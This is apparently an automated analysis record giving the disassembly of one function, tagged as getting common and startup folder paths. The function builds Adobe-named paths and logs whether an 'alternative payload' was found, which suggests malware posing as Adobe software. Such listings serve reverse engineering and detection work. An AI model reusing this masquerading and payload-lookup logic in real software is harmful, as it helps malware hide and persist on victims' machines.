Function at 0x41d557
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x294
mov eax, 0x4ac0e9
call fcn.00468fdc
mov esi, ecx
mov dword [ebp - 0x24c], esi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x220]
push 0x105
xor ebx, ebx
mov dword [ebp - 0x250], edi
push ebx
push eax
call fcn.00481750
add esp, 0xc
mov eax, 0x801c
cmp byte [ebp + 0xc], bl
lea ecx, [eax + 7]
cmovne eax, ecx
lea ecx, [ebp - 0x220]
push ecx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x41d5b8
xor eax, eax
jmp 0x41d8d0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x230]
call fcn.00402829
push str.AdobeARM
lea eax, [ebp - 0x230]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.00402459
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x22c]
push edi
inc ebx
mov ecx, esi
push eax
mov byte [ebp - 4], bl
call fcn.0041d907
mov dword [ebp - 0x234], eax
test eax, eax
jne 0x41d8b0
mov ecx, 0x514e5c
call fcn.00403224
test eax, eax
je 0x41d687
mov ecx, 0x514e5c
call fcn.004031f2
test eax, eax
mov edx, str.AdobeAcrobat
mov ecx, str.AdobeReader
lea eax, [ebp - 0x230]
cmove ecx, edx
push ecx
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.00402459
add esp, 0xc
push eax
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 2
call fcn.00402e14
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x234]
lea ecx, [ecx - 0x10]
call fcn.00402e64
push edi
lea eax, [ebp - 0x22c]
mov ecx, esi
push eax
call fcn.0041d907
mov dword [ebp - 0x234], eax
test eax, eax
jne 0x41d8b0
mov edi, dword [edi]
mov eax, dword [edi + 0x38]
sub eax, 0x10
push eax
call fcn.00402d9f
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x248], esi
mov byte [ebp - 4], 3
mov eax, dword [edi + 0x3c]
sub eax, 0x10
push eax
call fcn.00402d9f
add eax, 0x10
pop ecx
mov dword [ebp - 0x244], eax
mov byte [ebp - 4], 4
mov eax, dword [edi + 0x40]
sub eax, 0x10
push eax
call fcn.00402d9f
add eax, 0x10
pop ecx
mov dword [ebp - 0x240], eax
mov byte [ebp - 4], 5
mov eax, dword [edi + 0x44]
sub eax, 0x10
push eax
call fcn.00402d9f
add eax, 0x10
mov dword [ebp - 0x23c], eax
mov eax, dword [edi + 0x48]
pop ecx
mov dword [ebp - 0x238], eax
mov byte [ebp - 4], 6
cmp dword [esi - 0xc], 0
je 0x41d89f
push ecx
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x2a0]
call fcn.0043af5f
lea eax, [ebp - 0x2a0]
mov byte [ebp - 4], 7
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x230]
push str.AdobeARM
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00402459
add esp, 0xc
push eax
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 8
call fcn.00402e14
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x224]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov ecx, dword [ebp - 0x24c]
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.0041d907
lea ecx, [ebp - 0x224]
test eax, eax
je 0x41d867
push str.found_valid_alternative_payload:
call fcn.00402829
mov byte [ebp - 4], 9
lea edx, [ebp - 0x224]
mov eax, dword [ebp - 0x228]
push 0
add eax, 8
push eax
push 2
pop ecx
call fcn.004130a0
pop ecx
pop ecx
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x224]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov esi, dword [ebp - 0x250]
mov eax, dword [ebp - 0x228]
add eax, 4
push eax
mov ecx, dword [esi]
add ecx, 4
call fcn.00402e14
mov eax, dword [ebp - 0x228]
mov ecx, dword [esi]
add eax, 8
push eax
add ecx, 8
call fcn.00402e14
mov eax, dword [ebp - 0x228]
mov ecx, dword [esi]
add eax, 0xc
push eax
add ecx, 0xc
call fcn.00402e14
mov eax, dword [ebp - 0x228]
mov ecx, dword [esi]
add eax, 0x10
push eax
add ecx, 0x10
call fcn.00402e14
mov eax, dword [ebp - 0x228]
mov ecx, dword [esi]
mov eax, dword [eax + 0x14]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x228]
mov ecx, dword [esi]
mov eax, dword [eax + 0x1c]
mov dword [ecx + 0x1c], eax
lea ecx, [ebp - 0x2a0]
call fcn.0043b0d6
lea ecx, [ebp - 0x248]
call fcn.0041d8d8
jmp 0x41d8b2
push str.alternative_payload_not_found
call fcn.00402829
push 0
push 2
lea edx, [ebp - 0x224]
mov byte [ebp - 4], 0xa
pop ecx
call fcn.004137d1
pop ecx
mov ecx, dword [ebp - 0x224]
lea ecx, [ecx - 0x10]
call fcn.00402e64
lea ecx, [ebp - 0x2a0]
call fcn.0043b0d6
lea ecx, [ebp - 0x248]
call fcn.0041d8d8
mov eax, dword [ebp - 0x234]
mov ebx, eax
mov ecx, dword [ebp - 0x22c]
add ecx, 0xfffffff0
call fcn.00402e64
mov ecx, dword [ebp - 0x230]
add ecx, 0xfffffff0
call fcn.00402e64
mov eax, ebx
call fcn.00468f86
ret 8